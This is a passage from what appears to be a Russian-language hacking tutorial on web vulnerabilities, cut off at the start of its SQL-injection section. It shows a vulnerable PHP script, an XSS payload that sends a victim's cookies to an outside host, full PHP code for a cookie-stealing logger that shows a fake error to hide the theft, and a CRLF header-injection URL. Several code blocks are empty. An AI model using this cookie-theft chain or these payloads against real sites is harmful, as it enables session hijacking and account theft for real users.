В наши дни развелось до фига уязвимых программ и скриптов. Стоит глянуть на securityfocus.com или securitylab.ru как сразу можно в этом убедиться. Сплошные xss, инлюдинги, sql-инъекции... Пришло время систематизировать наши знания о них. Сегодя мы поговорим о:

1) XSS aka CSS aka Cross Site Scripting

2) SQL-injection

3) including

4) null-byte poison

5) PHP-including

6) Remote Command Execution в open() в Perl-скриптах

Начнем с самых "безобидных" и закончим критическими уязвимостями.

I. Cross Site Scripting.

Атака "межсайтовый скриптинг" представляет собой внедрение произвольного HTML-кода в текст выходной страницы. Естественно, внедрять будем не что попало, а маленький JavaScript, который украдет cookies пользователя. Пример уязвимого скрипта xss.php

[code=php]echo "Hello, ".$_GET['name']."

";[/code]

Изначально предполагалось, что скрипт будет здороваться с нами, но мы его научим другим вещам :) Попробуем вызвать его следующим образом:

[color=#173bd3]xss.php?name=lamo

alert(document.cookie);[/color]

Скрипт послушно вставит значение параметра name в страницу и вот что выйдет:

[code=html]Hello, lamo

alert(document.cookie);[/code]

Т.е. кроме приветствия еще вылетит окошко с кукисами, установленными на этом домене. Для успещной эксплуатации уязвимости, конечно, следует сделать что-нибудь вроде этого:

xss.php?name=lamo

window.top.location.href='http://www.mysite.com/cookiestealer.php?"+document.cookie;

А сам cookiestealer.php должен быть примерно слудующий:

[code=php]$cookies=$_ENV['QUERY_STRING'];

$f=fopen("cookies.log", "a+") or exit;

fputs($f, "----new cookie----\r\n".$cookies."\r\n--------\r\n\r\n");

fclose($f);

echo "Фатальная ошибка 56";

[/code]

Как видно, скрипт послушно запишет переданные ему параметры в лог и уведомит пользователя о якобы произошедшей ошибке

Так же уязвимыми могут быть скрипты, которые нефильтруют аргументы, передающиеся в header()

Пример бажного скрипта:

Code:

Вызов:

header.php?type=html%0d%0a%0d%0aalert();

Т.к. \r\n\r\n (в hex-виде - 0d 0a 0d 0a) является маркером конца заголовка, то последующие данные воспримутся браузером как код страницы. Конечно, пример достаточно нереалистичен, но, я думаю, ясно, как использовать данную уязвимость.

II. SQL-injection

Если скрипт подвержен уязвимости типа sql-инъекции, то удаленный атакующий может изменить sql-запрос и вывести совсем не те данные, на вывод которых был рассчитан этот скрипт. Пример уязвимого скрита:

пусть есть скрипт авторизации:

Code: